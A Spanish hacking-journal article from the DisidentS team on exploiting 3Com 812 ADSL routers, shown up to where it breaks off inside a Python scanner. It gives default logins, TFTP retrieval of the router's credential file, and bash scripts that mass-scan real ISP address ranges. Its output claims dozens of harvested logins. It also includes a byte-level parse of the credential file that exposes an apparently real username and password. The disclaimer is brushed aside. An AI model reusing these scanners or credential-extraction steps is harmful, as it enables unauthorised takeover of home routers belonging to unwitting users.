3com 812. Explotando sus vulnerabilidades
This article is intended to be a text file.
      -+-| DisidentS Hack Journal #6 |-+-


  _____________________________________________________________________
|                                                                     |
| -- Titulo_____: 3com 812. Explotando sus vulnerabilidades           |
| -- Autores____: Sweet_Security & marcansoft                         |
| -- Team_______: Disidents España - http://www.disidents.com         |
| -- Tema_______: Hacking routers                                     |
|_____________________________________________________________________|





         //////////////
        //////////////
                 ////
                ////
         //////////
        //////////   /////////// /////////// //////   ////////
             ////   /////////// /////////// ///////  ////////
            ////   ////        ////   //// //// /// /// ////
           ////   ////        ////   //// ////  ////// ////
  ////////////   /////////// /////////// ////         ////
 ////////////   /////////// /////////// ////         ////
                                                           812....

**********************************************************************
**********************************************************************
*     Explotando sus Vulnerabilidades                                *
**********************************************************************
**********************************************************************
            by Sweet_Security & Marcansoft

/********************************************************************/
/********                                                 ***********/
/******** Artículo propiedad de:                          ***********/
/********                                                 ***********/
/********      Disidents: Los fuera de la ley             ***********/
/********               (www.disidents.com)               ***********/
/********                                                 ***********/
/******** Y dedicado a:                                   ***********/
/********                                                 ***********/
/********               Crazy Anxious Minds               ***********/
/********               (www.crazy-mind.org)              ***********/
/********                                                 ***********/
/********************************************************************/

|===========~ INDICE ~======================================================
|===========================================================================
|=~ 0.Introducción                                                         |
|                                                                          |
|=~ 1.Un pequeño script de prueba                                          |
|                                                                          |
|=~ 2.Un script algo mas optimizado                                        |
|                                                                          |
|=~ 3.Extrayendo user y pass                                               |
|                                                                          |
|=~ 4.Y lo juntamos todo                                                   |
|                                                                          |
|=~ 5.Solución                                                             |
|                                                                          |
|=~ 6.Conclusiones                                                         |
|=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=.
======================================================~ ÍNDICE ~============
============================================================================



.==========================================================================.
|===========~ 0.Introducción  ~============================================
|===========================================================================

3com 812 es un modelo de routers que daba telefonica hace algunos años, en esa epoca la gente no tenía los conocimientos que hay ahora sobre la seguridad y la configuración de éstos. Por ser los primeros que implantó telefonica en su afán por expander su ADSL por toda españa. También los daba ya.com hace un año más o menos.

Estos routers, como (casi)todos, se pueden configurar por telnet (puerto 23) y por http (puerto 80), por defecto los "técnicos" de telefonica te los dejaban sin filtrar de manera que desde cualquier sitio podías loguear a la config por el puerto 23, y en algunos casos incluso por el 80.

Por el desconocimiento de muchos usuarios acerca del funcionamiento de éstos, el pass de muchos sigue por defecto. Así que si alguien tiene prisa que pruebe estos:

   -------------------------
   |  user     |  pass     |
   -------------------------
   |  adminttd |  adminttd |
   |  admintde |  admintde |
   -------------------------

Evidentemente esto sólo servirá algunas pocas veces, el gran error de configuración que incluso muchos de los que creen "saber" desconocen es del servidor TFTP que tiene el router en el puerto 69. TFTP es un protocolo similar al FTP pero con un funcionamiento distinto, por UDP, y sin autenticación.

Por defecto la configuración de este, te permite bajar los archivos que quieras del router. Pues bien, en el router hay un archivo llamado "users" que nos interesa en especial por el hecho que, aun siendo binario, el usuario y password del router (aun habiendo sido cambiados) se encuentran en texto plano O_O. Los podemos visualizar con un editor de texto de cualquier tipo: vi en linux, notepad o edit en windows.....

La posesión pues, de este archivo, nos permite loguearnos a la configuración del router, y una vez ahí configurarlo a nuestras anchas, o incluso usarlo para chatear por el IRC, floodear.... entre otras cosas. El propio servidor TFTP también tiene sus usos.

Veamos el procedimiento de obtención del archivo:

   Sweet_Security ~;> tftp 217.127.XXX.XXX 69
   tftp> get users
   Received 1540 bytes in 0.6 seconds
   tftp> quit
   Sweet_Security ~;>

Ahora es tan simple como hacer:

   vi users

Y si nos fijamos un poco veremos algo como esto:

   adminttdD^Madminttd

De dónde no es muy difícil sacar la información interesante:

   user: adminttd
   pass: adminttd

Ahora solo hace falta hacer:

   Sweet_Security ~;> telnet 217.127.XXX.XXX
   Trying 217.127.XXX.XXX...
   Connected to 217.127.XXX.XXX.
   Escape character is '^]'.
   login: adminttd
   Password: adminttd (nota: no tiene eco de carácteres lógicamente)
   3Com-DSL>quit
   Connection closed by foreign host.
   Sweet_Security ~;>

Como vemos el usuario y el password funcionan a la perfección.

Ahora veamos como automtizar esta tarea hasta tal punto de tener varios cientos (o miles) de routers vulnerables en pocos minutos.



.==========================================================================.
|===========~ 1.Un pequeños script de prueba ~==============================
|===========================================================================

Bueno ahora vamos a automatizar un poco esta tarea, para hacerlo de una manera rápida y fácil, lo mejor es hacer un Script de Bash o también llamados (ShellScripts) éstos se caracterizan por ser interpretados por la shell y, a diferencia de otros lenguajes, no se ha de compilar.

Es un lenguaje interpretado. Se basa en automatizar las tareas que realizaríamos en la consola manualmente.

Qué queremos hacer?
------------------

El propósito del script no es otro que el de ejecutar tftp, pasarle los comandos para recibir el archivo "users" y luego que repita este procedimiento para otras IPs del mismo rango.

Como hacerlo?
------------

La manera de hacerlo es bien sencilla, todo se basa en un par de for. Veamos un pequeño script:

3com_PassRecover.sh
-----------------------------------------------------------------------------
#!/bin/sh
#Variable a modificar según el rango a escanear
##################################################
IP=80.59.

############################

MAX=254
PORT=69
OCTET3=0
OCTET4=0
SIZE=0
(

   echo "----------------------------------------------------------------"
   echo "|    #########  3COM-812 Router Password Retrieve #########    |"
   echo "|                             by Sweet_Security & marcansoft   |"
   echo "----------------------------------------------------------------"
   echo "#!/bin/bash" > .timer.tmp.sh

   #Ponemos los comandos a ejecutar en tftp en un fichero a parte

   echo get users > .command.tmp
   echo quit >> .command.tmp

   #Hacemos un script temporal que controla el tiempo de timeout
   #y si el tamaño del fichero es 0 lo borra, conforme no se ha
   #podido recibir.

   echo SIZE=0 >> .timer.tmp.sh
        echo sleep 1 >> .timer.tmp.sh
        echo "SIZE=$(ls -l users | awk  '{print $5;}')" >> .timer.tmp.sh
        echo "if [ $SIZE -eq 0 ] ">> .timer.tmp.sh
        echo then >> .timer.tmp.sh
        echo "killall tftp " >> .timer.tmp.sh
        echo fi >> .timer.tmp.sh
        echo exit >> .timer.tmp.sh

   #Le damos permiso de ejecución al script
   chmod +x .timer.tmp.sh

   #Empieza el bucle para el 3r octeto
   for (( OCTET3=0 ; OCTET3 <= MAX ; OCTET3++ ))
   do
      #Empieza el bucle para el 4o octeto
      for (( OCTET4=0 ; OCTET4 <= MAX ; OCTET4++ ))
      do
         echo -n Connecting to: $IP$OCTET3.$OCTET4 ....

         #Ejecuta el temporizador que matara tftp en 1 segundos
         ./.timer.tmp.sh  &

         #Inicializa PID a 0
         PID=0

         #Ejecutamos tftp metiéndole los comandos y redirigiendo la salida a null
         tftp $IP$OCTET3.$OCTET4 $PORT < .command.tmp &>/dev/null

         #Miramos si despues de recivir el file aun esta .timer.tmp.sh
         #ejecutándose y miramos su PID
         PID=$( ps ax | grep timer.tmp.sh | grep -v grep | awk '{print $1;}')

         #Si el proceso existe y PID es distinto a 0, matamos .timer.tmp.sh
         #y el sleep.

         if [ -n $PID ]
         then
            killall .timer.tmp.sh
            killall sleep
         fi

         #Una vez dejado los procesos como al principio, ahora miramos el tamaño
         #del fichero recibido, si es 0 lo borramos puesto que el router no es
         #vulnerable
         SIZE=$(ls -l users | awk  '{print $5;}')
         if [ $SIZE -ne 0 ]
         then
            #Router vulnerable
            echo " [+] We have it!"
            #Movemos "users" a "users.IProuterVulnerable"
            mv users  users.$IP$OCTET3.$OCTET4
         else
            #Router no vulnerable
            rm users
            echo " [-] Not Vuln..."
         fi
      done
   done
   #Borramos los temporales
   rm .command.tmp
   rm .timer.tmp.sh

exit

#Aqui tenemos todo el script asi: ( codigo_script ) 2>/dev/null de esta
#manera redireccionamos las salidas no deseadas a /dev/null (papelera)

) 2>/dev/null
-----------------------------------------------------------------------------

Bueno, este script no es ni mucho menos óptimo, pero sirve para entender bien el procedimiento y como plantearlo y además es rápido de hacer. Bueno, ahora miramos que tal funciona este juguetito:

Sweet_Security ~;> sh 3com_PassRecover.sh
----------------------------------------------------------------
|    #########  3COM-812 Router Password Retrieve #########    |
|                             by Sweet_Security & marcansoft   |
----------------------------------------------------------------
Connecting to: 80.59.0.0 .... [-] Not Vuln...
Connecting to: 80.59.0.1 .... [-] Not Vuln...
Connecting to: 80.59.0.2 .... [-] Not Vuln...
Connecting to: 80.59.0.3 .... [-] Not Vuln...
Connecting to: 80.59.0.4 .... [-] Not Vuln...
Connecting to: 80.59.0.5 .... [-] Not Vuln...
Connecting to: 80.59.0.6 .... [-] Not Vuln...
Connecting to: 80.59.0.7 .... [-] Not Vuln...
Connecting to: 80.59.0.8 .... [-] Not Vuln...
Connecting to: 80.59.0.9 .... [-] Not Vuln...
Connecting to: 80.59.0.10 .... [-] Not Vuln...
...
...
Connecting to: 80.59.0.XX .... [-] Not Vuln...
Connecting to: 80.59.0.XX .... [+] We have it!
Connecting to: 80.59.0.XX .... [+] We have it!
Connecting to: 80.59.0.XX .... [-] Not Vuln...
..

Como vemos el script funciona correctamente. Ahora ya tenemos 2 routers con user y pass, vamos a mirar que nos ha generado el script:

   Sweet_Security ~;> ls
   3com_PassRecover.sh  users.80.59.0.XX  users.80.59.0.XX
   Sweet_Security ~;>

Perfecto, nos ha guardado los ficheros tal y como nostros queríamos, vamos a ver si se pueden leer los users y pass:

   Sweet_Security ~;> vi users.80.59.0.15

   00.3ÿÿÿÿ^@^@^.............
   ...........rootD^M!root.........
      ...............A^@^Aà;^@xuü^@^@^@^A

Aqui vemos el user/pass, solo hace falta probarlo:

    Sweet_Security ~;> telnet 80.59.XXX.XXX
    Trying 80.59.XXX.XXX...
    Connected to 80.59.XXX.XXX.
    Escape character is '^]'.
    login: root
    Password: root
    3Com-DSL>quit
    Connection closed by foreign host.
    Sweet_Security ~;>

Perfecto, ya tenemos lo que queríamos, un script sencillo, hecho por nosotros y que hace lo que nosotros queríamos. Pero......

A medida que lo uses te cansarás de tener que esperar más de una noche entera para escanear un maldito rango de clase B (A.B.0-254.0-254).

(No le dimos mas vida que una noche xDDD)

Así que tenemos que hacer algo más rápido.... Mucho más rápido.... que tal si hacemos un árbol de directorios ordenando las IPs. Y... que tal si envez de ir de host en host vamos... de rango C a rango C, es decir, abrir tftp para a.b.c.1-254 a la vez, luego cerrarlos incremetar c y repetir la operación... De esta manera escanearíamos 254 hosts en pocos segundos....

Pero entonces... cómo les pasamos los comandos al tftp para que haga: get users
users.IP ? si al principio del programa IP tiene un valor distinto....



.==========================================================================.
|===========~ 2.Un script algo mas optimizado ~=============================
|===========================================================================

Pues bien, la manera de resolver este enigma es esta:

   echo -ne "get users users.IP\n quit\n" | tftp IP 69

mmm... parece correcto, así le pasamos los comandos con el final de línea a tftp... pero y el temporizador? porque si lo dejáramos asi, si el router no es vuln tardaría siglos en cerrar la conexión y eso no interesa... bueno, la solución es tan simple como hacer:

   Sweet_Security ~;> man tftp
   ..........
   ..........
   timeout total-transmission-timeout
               Set the total transmission timeout, in seconds.
   ..........
   ..........
   Sweet_Security ~;>

Bueno, aquí tenemos lo que buscábamos, resulta que si ponemos, una vez conectados, "timeout 1", si en 1 segundo el router no responde se corta la conexión, pues perfecto. Ahora sólo hace falta modificar la línea anterior para tener la sentencia que ejecuta tftp tal y como nosotros queremos:

   echo -ne "timeout 1\n get users users.IP\n quit\n" | tftp IP 69

Ahora sí hace lo que queremos, aunque no del todo, porque tal y como está ahora, ejecutará tftp una sola vez por segundo, y eso no interesa porque ya lo hacíamos antes... asi que... que se usa en linux para ejecutar dos comandos "a la vez"? Si señor, el "&" al final de línea, pues lo ponemos.

Y ya de paso le ponemos: ">/dev/null" al tftp para que no de ningún tipo de salida al STDOUT que moleste.

   echo -ne "timeout 1\n get users users.IP\n quit\n" | tftp IP 69 >/dev/null &

Esta vez sí es la definitiva. Ésta es justamente la línea que necesitamos.

Aunque no lo parezca esta línea hace lo mismo que los dos temporales y la línea de tftp que teníamos en el primer script. Así hemos augmentado rapidez y eficácia.

Por otra parte, no creéis que es algo molesto tener que modificar la IP del código cada vez?

No sería mejor que la pillara como parámetro? Hagámoslo:

   $IP=80.59.

   if [ "X$1" !=  "X" ]; then
      IP=$1
   fi

NOTA: Bash no coge las cadenas vacias de vez en cuando, por lo tanto hacemos que compare "X$1" con "X" de esta manera si no hay argumento "X$1" == "X". Éste método es más fiable.

Aquí tenemos la solución, si existe "$1" (un argumento), entonces  $IP toma su valor y en caso contrario "$IP=80.59." es importante el "." al final del rango, puesto que de lo contrario no irá bien. (en el argumento también tenemos que poner el "." al final).

Bueno ahora que ya hemos visto los cambios mas importantes vamos a ver el script

3com_PassRecoverFLASH.sh
-----------------------------------------------------------------------------
#!/bin/bash
(
#Valor por defecto de $IP
$IP=80.59.

#Si existe argumento, se lo asignamos a $IP
if [ "X$1" != "X" ] then
        IP=$1
fi

#Inicializamos las variables
total=0
PORT=69
octet3=0
octet4=0
MAX=254
VULN=0

echo "----------------------------------------------------------------"
echo "|    #########  3COM-812 Router Password Retrieve #########    |"
echo "|     *** FLASHING VERSION ***  by Sweet_Security & marcansoft |"
echo "----------------------------------------------------------------"

#Creamos el directorio donde guardar los resultados y accedemos
#Si $IP esta por defecto se crea: 80.59./
mkdir $IP && cd $IP

#Inicializamos bucle del 3r octeto
for(( octet3=0 ; octet3 <= MAX ; octet3++ )); do

   #Imprimimos el rango ke estamos escaneando ahora
   echo  -n "Scanning: $IP$octet3.X "

   #Creamos el directorio donde guardar los users de: aaa.bbb.ccc.X y
   #accedemos
   mkdir $IP$octet3 && cd $IP$octet3

   #Inicializamos bucle del 4o octeto
   for(( octet4=0 ; octet4 <= MAX ; octet4++ )) do

      #Sentencia que ejecuta tftp y le pone los comandos y argumentos correctos
      echo -ne "timeout 2\n get users users.$IP$octet3.$octet4\n quit\n" | tftp
                     $IP$octet3.$octet4 $PORT > /dev/null &

   done

   #Empieza el tratamiento de resultado, pork en este punto tenemos
   #254 archivos en el directorio (o no xD)

   echo -n "[++] Cleaning up.. "

   #Hacemos un for para ir viendo si existen los archivos
   for(( octet4=0 ; octet4 <= MAX ; octet4++ )) do

      #Si existe el fichero y su tamaño es mayor que 0
      #incrementamos $VULN en 1
      if [ -s "users.$IP$octet3.$octet4" ] then
         (( VULN=VULN+1 ))
      else

         #En caso contrario borramos el archivo, puesto
         #que no contiene datos
         rm users.$IP$octet3.$octet4
      fi

   done

   #Salimos del directorio 80.59.ccc
   cd ..

   #Si $VULN es 0 borramos el directorio con rmdir
   #usamos rmdir, pork si la comprovacion se hace antes de que todos
   #los ficheros se hayan bajado, podria ser que hubiera algun file que
   #no exisitia en el momento de la comprovacion, y en ese caso rmdir no
   #borraria el directorio.

   if [ $VULN -eq 0 ] then
      echo FUCKING RANGE
           rmdir $IP$octet3
   else
      #Si $VULN no es 0 dice cuantos tenemos
      echo We have at least $VULN user/pass
   fi

   #Incrementamos total
   (( total=total+VULN ))
   VULN=0

done

#Una vez terminado el rango aaa.bbbb. salimos del directorio
cd ..

#Y finalmente imprimimos el total
echo TOTAL GOT: $total... Not bad, but could be better...

exit

#Como antes filtramos las salidas no deseadas xD
)2>/dev/null
-----------------------------------------------------------------------------

Bueno señores aquí tenemos un script que scanea 254 IPs en poco más de 1 segundo. Vamos a probarlo? por supuesto. Antes de nada hay que decir que entrar en routers agenos sin consentimiento es ilegal, sacar ADSL a alguien por cargarte su router también es ilegal
.... etc etc etc. Que cada uno lo use como quiera pero no seais TONTOS, y por supuesto nosotros
no tenemos ninguna responsabilidad sobre el uso que hagáis de estos conociemintos..

Vale ya de tanta tontería y vamos a probarlo:

   Sweet_Security ~;> sh 3com_PassRecoverFLASH.sh
   ----------------------------------------------------------------
   |    #########  3COM-812 Router Password Retrieve #########    |
   |     ****** FLASHING VERSION ******      by Sweet_Security    |
   ----------------------------------------------------------------
   Scanning: 80.59.0.X [++] Cleaning up.. We have 28 user/pass
   Scanning: 80.59.1.X [++] Cleaning up.. We have 24 user/pass
   Scanning: 80.59.2.X [++] Cleaning up.. We have 15 user/pass
   Scanning: 80.59.3.X [++] Cleaning up.. FUCKING RANGE
   Scanning: 80.59.4.X [++] Cleaning up.. FUCKING RANGE
   ....
   ....
   Sweet_Security ~;>

Como vemos ya tenemos 28+24+15=67 3com con user y pass en cuestión de 10 segundos como mucho además de haber escaneado 1250 Host en busca de 3com vulnerables. Ahora vamos a probarlo metiéndole algún argumento, por ejemplo 217.127. :

   Sweet_Security ~;> sh 3com_PassRecoverFLASH.sh 217.127.
   ----------------------------------------------------------------
   |    #########  3COM-812 Router Password Retrieve #########    |
   |     ****** FLASHING VERSION ******      by Sweet_Security    |
   ----------------------------------------------------------------
   Scanning: 217.127.0.X [++] Cleaning up.. We have 6 user/pass
   Scanning: 217.127.1.X [++] Cleaning up.. We have 7 user/pass
   Scanning: 217.127.2.X [++] Cleaning up.. We have 2 user/pass
   Scanning: 217.127.3.X [++] Cleaning up.. FUCKING RANGE
   Scanning: 217.127.4.X [++] Cleaning up.. FUCKING RANGE
   ....
   ....
   Sweet_Security ~;>

Visto esta que funciona a la perfección, ahora veamos que nos ha guardado:

   Sweet_Security ~;> ls
   3com_PassRecoverFLASH.sh   3com_PassRecover.sh  217.127. 80.59.
   Sweet_Security ~;>

Como vemos nos ha creado dos directorios: 217.127./ y 80.59./ vamos a ver que es lo que hay dentro de cada uno:

   Sweet_Security ~;> cd 217.127.
   Sweet_Security ~/217.127.;> ls
   217.127.0  217.127.1  217.127.2  217.127.5
   Sweet_Security ~/217.127.;>

Bien, ahi tenemos subdirectorios con los rangos que tienen Ips vulnerables porque los que no tienen han sido borrados, como vemos no hay 217.127.3 por ejemplo. Veamos ahora que contienen estos directorios:

   Sweet_Security ~/217.127.;> ls 217.127.0
   users.217.127.0.XX  users.217.127.0.XX  users.217.127.0.XX
   users.217.127.0.XX  users.217.127.0.XX  users.217.127.0.ZZ
   Sweet_Security ~/217.127.;>

Bueno, aquí tenemos lo que queríamos, los files ordenaditos. Pasamos de recorrer
el 80.59. porque es lo mismo xD. Ahora vamos a hacer un script para sacar user y pass de los
"users" files de una manera efectiva.


.==========================================================================.
|===========~ 3.Extrayendo user y pass ~====================================
|===========================================================================

Hasta ahora teníamos que extraer el user y el pass de los archivos "users" a mano, algo factible para un par de docenas, pero completamente inútil si pensamos automatizar algo para que use cientos de routers (algún voluntario para analizar 300 archivos a mano? xD). Así que reversearemos el formato, o al menos lo intentaremos, y así además aprendemos un poco de estructuras típicas de formatos binarios. Veamos un hexdump de un archivo típico. Iremos exponiendo los datos que hemos encontrado útiles. Suponemos que sabréis leer mínimamente un
hexdump formato -C. Si no, esperamos que esto os ayude:

  DDDDDDDD  XX XX XX XX XX XX XX XX  XX XX XX XX XX XX XX XX  |xxxxxxxxxxxxxxxx|

  DDDDDDDD  dirección en el archivo (hexadecimal)
  XX        bytes del archivo (hexadecimal)
  x         carácteres del archivo en ASCII (los carácteres no imprimibles se
          expresan con "."

marcansoft:~$ hexdump -Cv users.80.59.x.x

  00000000  30 30 2e 33 ff ff ff ff  00 00 01 04 ff 1d 06 00  |00.3ÿÿÿÿ....ÿ...|
          ^^^^^^^^^^^                                        ^^^^
Aquí podemos ver lo que parece una versión. Lo usaremos para saber si el archivo es válido. Siempre debería ser '00.3'.

  00000010  00 00 01 1f 06 ff ff ff  ff 55 06 ff ff ff ff 1e  |.....ÿÿÿÿU.ÿÿÿÿ.|
  00000020  06 ff ff ff ff 74 06 00  00 00 02 20 06 00 00 00  |.ÿÿÿÿt..... ....|
  00000030  00 22 06 00 00 05 ea 23  06 00 00 00 01 25 06 00  |."....ê#.....%..|
  00000040  00 00 00 26 06 00 00 00  17 2d 06 00 00 01 2c 2f  |...&.....-....,/|
  00000050  06 00 00 00 01 30 06 00  00 00 01 31 06 00 00 00  |.....0.....1....|
  00000060  3c 32 06 00 00 00 14 33  06 00 00 00 01 34 06 00  |<2.....3.....4..|
  00000070  00 00 04 35 06 ff ff ff  ff 36 06 ff ff ff ff 38  |...5.ÿÿÿÿ6.ÿÿÿÿ8|
  00000080  06 00 00 00 01 39 06 00  00 01 00 3a 06 00 00 00  |.....9.....:....|
  00000090  03 3b 06 00 00 00 01 75  06 00 00 00 02 3c 06 00  |.;.....u.....<..|
  000000a0  00 00 02 3d 06 00 00 00  01 3f 06 00 00 00 02 40  |...=.....?.....@|
  000000b0  06 00 00 00 01 41 06 00  00 00 02 53 07 76 74 31  |.....A.....S.vt1|
  000000c0  30 30 56 06 00 00 00 01  58 05 41 6c 6c 5a 06 00  |00V.....X.AllZ..|
  000000d0  00 00 02 68 06 00 00 00  02 71 06 00 00 00 02 76  |...h.....q.....v|
  000000e0  06 00 00 00 01 69 06 00  00 00 03 70 06 00 00 00  |.....i.....p....|
  000000f0  00 77 06 00 00 00 01 6a  06 00 00 00 01 73 06 00  |.w.....j.....s..|
  00000100  00 00 01 00 00 00 00 04  ff ff ff ff 4b 6b 06 00  |........ÿÿÿÿKk..|
  00000110  00 00 00 6c 06 00 00 00  00 6d 06 00 00 00 00 6e  |...l.....m.....n|
  00000120  06 00 00 00 00 6f 06 00  00 00 00 72 06 00 00 00  |.....o.....r....|
  00000130  01 55 06 00 00 00 00 1e  06 00 00 00 00 78 06 00  |.U...........x..|
  00000140  00 00 00 79 06 ff ff ff  ff 7a 06 00 00 00 01 00  |...y.ÿÿÿÿz......|
  00000150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  00000170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  00000180  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  00000190  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000001b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000001c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000001e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

Todo esto es basura para nuestros propósitos. Fijáos en el espacio vacio al final.

  00000200  00 00 00 00 ff ff ff ff  ff ff ff ff 2c 1b 12 90  |....ÿÿÿÿÿÿÿÿ,...|

Aquí parece comenzar una nueva "sección" del archivo, también es más o menos lógico que empiece en 0x200, una posición redonda.

  00000210  6e f9 c7 7d 8b b8 62 18  0d be b6 22 dd 2f 10 43  |nùÇ}.¸b..¾¶"Ý/.C|
  00000220  09 65 72 70 69 73 68 61  44 08 32 34 30 38 38 34  |.erpishaD.240884|
  00000230  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

Y aquí tenemos nuestro desado user (erpisha) y pass (240884)

  00000240  00 07 56 f8 00 73 83 dc  00 00 00 00 00 00 00 00  |..Vø.s.Ü........|
  00000250  00 00 00 00 00 08 40 ac  00 73 83 dc 00 00 00 00  |......@¬.s.Ü....|
  00000260  3d 66 4a 08 3d 66 41 0c  00 00 00 00 fb 39 f1 48  |=fJ.=fA.....û9ñH|
  00000270  00 00 0b b8 00 00 17 70  00 00 00 00 00 00 0b b8  |...¸...p.......¸|
  00000280  00 00 00 00 02 00 00 00  00 00 00 00 00 50 06 df  |.............P.ß|
  00000290  fb 39 f1 48 fb 52 19 d3  50 12 02 00 00 00 00 00  |û9ñHûR.ÓP.......|
  000002a0  00 00 00 00 00 00 00 00  00 06 00 00 50 3b 02 06  |............P;..|
  000002b0  50 3b bb 72 00 00 00 00  00 00 00 00 00 00 00 00  |P;»r............|
  000002c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000002d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000002e0  00 00 00 00 00 79 96 4c  00 75 7d 0c 00 1d 40 01  |.....y.L.u}...@.|
  000002f0  00 04 e0 73 00 00 e0 01  00 01 e0 01 00 76 97 6c  |..às..à...à..v.l|
  00000300  00 00 00 01 ff ff ff ff  ff ff ff ff 87 1d 06 00  |....ÿÿÿÿÿÿÿÿ....|

Fijáos como aquí parece que comienza otra sección pero esta vez sin user ni pass:

  00000310  00 00 05 1b 12 91 de 03  6f af b5 6c 32 18 0d be  |......Þ.o¯µl2..¾|
  00000320  b6 22 dd 2f 10 3a 06 00  00 00 01 34 06 00 00 00  |¶"Ý/.:.....4....|
  00000330  00 3b 06 00 00 00 01 3c  06 00 00 00 02 40 06 00  |.;.....<.....@..|
  00000340  00 00 02 6b 06 00 00 00  08 6c 06 00 00 00 20 6a  |...k.....l.... j|
  00000350  06 00 00 00 01 6d 06 00  00 00 00 1f 06 ff ff ff  |.....m.......ÿÿÿ|
  00000360  c0 1e 06 50 3b 02 02 55  06 50 3b 02 06 69 06 00  |À..P;..U.P;..i..|
  00000370  00 00 01 68 06 00 00 00  01 21 12 49 4e 52 53 69  |...h.....!.INRSi|
  00000380  6e 74 65 72 6e 65 74 2e  46 4c 54 00 00 00 00 00  |nternet.FLT.....|
  00000390  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000003a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000003b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000003c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000003d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000003e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  000003f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  00000400  00 00 00 00                                       |....|
  00000404

Si bien es cierto que en la mayoría de routers con passwords por defecto están en la misma posición, obviamente querremos saber más sobre como se colocan los datos.

Consideraremos una "sección" un rango de 0x100 bytes que comienza en 0xs00 donde s > 2. Hay veces que el user está en 0x200, otras en 0x300, y a veces el archivo es más largo y se encuentra en 0x400 o incluso 0x500.

Después de comparar media docena de users a mano, encontramos la clave:

  ...
  00000200  00 00 00 00 ff ff ff ff  ff ff ff ff 2c 1b 12 90  |....ÿÿÿÿÿÿÿÿ,...|
  ...
  00000300  00 00 00 01 ff ff ff ff  ff ff ff ff 87 1d 06 00  |....ÿÿÿÿÿÿÿÿ....|
  ...
                                                    ^^
Fijáos en ese byte que hemos señalado. Siempre está en la posición 0x0d dentro de una sección, es decir, en 0x20d, 0x30d, etc. Si ese byte es 0x1b, tenemos una sección de user y pass. Si no, es otra cosa (comunmente 0x1d que no sabemos realmente que es, y nos da igual).

Ahora fijémonos en esto:

  00000220  09 65 72 70 69 73 68 61  44 08 32 34 30 38 38 34  |.erpishaD.240884|
  00000230  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

Si comparamos varios archivos, veremos que el formato es como sigue:

  09                      longitud de user más 2
                          (ni idea de por que, pero es +2, así que el user tiene
                           09-2=7 carácteres)

  65 72 70 69 73 68 61    user (erpisha)

  44                      suele ser 'D' pero a veces cambia. Nos da igual.

  08                      longitud de pass más 2 ( 08-2=6 carácteres)

  32 34 30 38 38 34       password (240884)

Este formato no es completo, hemos visto casos en los que hay más bytes entre el user y la pass que uno solo, 'D', pero son minoria.

Una vez visto la estructura de los archivos, vemos que podemos crear un programa que nos lo haga por si solo, así que lo haremos todo junto, scanner, y extract.


.==========================================================================.
|===========~ 4. Y lo juntamos todo ~=======================================
|===========================================================================

Hemos visto como se accede a los routers, y como se extrae el user y pass. Sin embargo, y como habrán podido comprobar los que hayan probado los scripts bash, gastan mucha CPU y RAM. Esto es debido a que bash no esta pansado para realizar tareas intensivas, y llamamos a muchos otros programas separados.

Ahora haremos un programa en python que realice las operaciones de escanear en busca de 3com y extraer su user y pass, sin depender de ningún programa externo.

Aqui implementaremos el anterior algoritmo de extraer user y pass. El programa esta basado en multithreading para los multiples escaneadores paralelos, con unas clases para manejar los rangos de IPs que se van suministrando a los threads.

Este es el programa completo, comentado con lo que hace cada cosa. Si no sabes python, busca tutoriales que hay muchos ;)

tftplib es un módulo aparte que se incluye después. Está basado en el que se encuentra aqui:

http://www.timo-tasi.org/python/tftplib.py con algunasmodificaciones mias.

812scanner.py
-----------------------------------------------------------------------------
#!/usr/bin/python

# Un poco de todo... :)
import sys, os, string, threading, time, getopt, re

# Y el tftp de marras
import tftplib

# Lock para acceder a la variable de IP actual. Sino, se pueden dar problemas
# al hacer multithreading
iplock = threading.RLock()

# Lock para imprimir en la pantalla. Se entremezclan los mensajes sino.
plock = threading.Lock()

##### INCREMENTA IP
# Con esto incrementamos una ip, nada del otro mundo.
def incip(ip):
    # dividimos por '.'
    parts = string.split(ip, ".")
    # sumale 1
    parts[3]=str(int(parts[3])+1);
    # si es mayor o igual a 256
    if int(parts[3])>=256:
        # siguiente numero
        parts[2]=str(int(parts[2])+1);
        # y ponemos el actual a 0
        parts[3]="0"
        # y se repite...
        if int(parts[2])>=256:
            parts[1]=str(int(parts[1])+1);
            parts[2]="0"
            if int(parts[1])>=256:
                parts[0]=str(int(parts[0])+1);
                parts[1]="0"
                if int(parts[0])>=256:
                    return None
    # unimos la cadena de nuevo
    return string.join(parts,".")
##### END INCREMENTA IP

##### CHEQUEA IP
# Verifica si es una IP válida dentro de el rango 0-255 para cada octeto
def checkip(ip):
    parts = string.split(ip, ".")
    if int(parts[3])>=256:
        return 0
    if int(parts[2])>=256:
        return 0
    if int(parts[1])>=256:
        return 0
    if int(parts[0])>=256:
        return 0
    return 1
##### END CHEQUEA IP

##### CLASE IPrange: maneja un rango de IPs.
# Con esta clase manejamos un rango de ips, y podemos ir pidiendo la
# siguiente ip del rango.

# Devuelve None cuando no quedan IPs
class IPrange:
    def __init__(self,start,end):
